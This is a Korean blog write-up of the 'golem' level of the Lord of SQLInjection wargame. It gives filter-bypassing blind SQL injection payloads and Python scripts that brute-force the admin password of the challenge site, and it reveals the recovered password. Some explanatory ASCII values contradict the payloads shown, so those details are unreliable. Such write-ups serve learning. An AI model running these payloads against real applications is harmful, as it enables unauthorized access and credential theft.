Yozzang의 해킹일기 💻
article thumbnail
728x90

이번 포스트에서는 Lord of SQLInjection의 golem문제에 대해 다루겠다.

 


문재를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.

golem

## 문제 해석 :

해당 문제는 preg_match() 함수를 통해 prob, _, ., (, ), ir, and, substr, =를 필터링한 것을 알 수 있다.

또한 id "admin"의 pw값을 알아야 해당 문제를 해결할 수 있는 것으로 보인다.

 

## 문제 풀이 : 

우선, 필터링된 문자들을 우회하면서 pw의 길이를 알아낸 쿼리문을 작성해보겠다.

### 사용할 공격문 : pw=' || instr(id, "admin") %26%26 length(pw) > 7 %23

### 실행 결과 : 

1차 시도

"Hello admin"이 출력된 것을 보니 pw의 길이값이 7보다 크다는 것을 알 수 있다.

또한 OR의 우회법은 "||", =의 우회법은 "instr()", AND의 우회법은 &&(%26%26)이다.

 

실제 pw의 길이가 8이므로 길이값이 8보다 클 때의 결과를 보겠다.

### 사용할 공격문 : pw=' || instr(id, "admin") %26%26 length(pw) > 8 %23

### 실행 결과 : 

length(pw) = 8

아무것도 출력되지 않는 것을 확인할 수 있다. 즉 우리가 작성한 쿼리문(length(pw) > 8)이 False라는 것을 알 수 있고, 이는 곧 pw의 길이가 8인 것을 의미한다.

 

그러나 실제 비밀번호의 경우 길이가 10자리 이상, 많게는 20자리 이상이 있을 수 있으므로 파이썬으로 공격 코드를 작성하여 공격을 실행해보겠다.

### 공격 코드 :

import requests

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"  # 공격 사이트
cookies = {'PHPSESSID': '세션ID'}  # 본인의 세션값

pw_len = 0  # 비밀번호 길이 초기화
while 1:  # while문 실행
    pw_len += 1  # 비밀번호 길이 + 1
    query = f" '|| instr(id, 'admin') && length(pw) > {pw_len} #"  # 쿼리문 작성
    params = {'pw': query}  # 파라미터에 작성한 쿼리문 삽입
    response = requests.get(url, params=params, cookies=cookies)  # 요청
    if "Hello admin" not in response.text:  # Hello admin이 응답이 없다면, 즉 False를 반환한다면
        print("password's length : ", pw_len)  # 비밀번호 길이 출력
        break  # while문 종료

### 실행 결과 : 

실행 결과 (비밀번호 길이)

비밀번호의 길이가 똑같이 8인 것을 알 수 있다.

 

비밀번호를 알아낸 다음에 각 비밀번호가 무엇인지 알아내야 한다. 이는 아스키 코드를 사용하여 알아낼 수 있다. 또한 substr이 필터링되었으므로 여기서는 left()와 right()를 활용해보겠다.

### 사용할 공격문 : pw=' || instr(id, "admin") %26%26 (ascii(right(left(pw, 1), 1)) > 56) %23

### 실행 결과 : 

1차 시도

"Hello admin"이 출력된 것을 보니 pw의 첫 번째 글자가 아스키코드의 54번(6)보다 크다는 것을 알 수 있다.

 

실제 계산해본 결과 pw의 첫 번째 글자(7)의 아스키코드가 55이므로 55로 마저 공격해보곘다.

### 사용할 공격문 : pw=' || instr(id, "admin") %26%26 (ascii(right(left(pw, 1), 1)) > 57) %23

### 실행 결과 : 

pw[0] = "7"

아무것도 출력되지 않는 것을 확인할 수 있다. 즉 우리가 작성한 쿼리문(ascii(right(left(pw, 1), 1)) > 55)이 False라는 것을 알 수 있고, 이는 곧 pw의 첫 번째 글자가 7인 것을 의미한다.

 

이를 똑같이 파이썬 코드로 구현하면 다음과 같다.

### 공격 코드 : 

def search_pw(pw_len): # 비밀번호 찾기 함수
    pw = '' # 비밀번호 초기화
    for i in range(1, pw_len+1): # 비밀번호의 길이까지 for문 생성
        print("Round ", i) # 몇 번째 Round인지 출력
        for ch in range(48, 122): # 아스키 코드 0 ~ Z까지 for문 생성
            query = f" ' || instr(id, 'admin') && (ascii(right(left(pw, {i}), 1)) > {ch}) #" # 쿼리문 작성
            params = {'pw': query} # 파라미터 삽입
            response = requests.get(url, params=params, cookies=cookies) # 응답 받기
            if "Hello admin" not in response.text: # "Hello admin"이 응답 메시지에 없을 때, 즉 False인 경우
                pw += chr(ch) # pw에 아스키 코드를 변환하여 저장
                print("password : ", pw) # 값 출력
                break # 종료

    return pw # 비밀 번호 반환

### 실행 결과 : 

실행 결과 (비밀번호)

### 최종 공격문 : pw=77d6290b

### 실행 결과 : 

공격 성공

## 추가 해석

쿼리문 : right(left(pw, 1), 1)

left('asdf', 3) = 0x61(a)73(s)64(d)이다. right()함수를 사용해서 right(left('asdf', 3), 1)를 실행해보면 그 결과값은 substr('asdf', 3, 1)과 같이 "d"이다.

profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!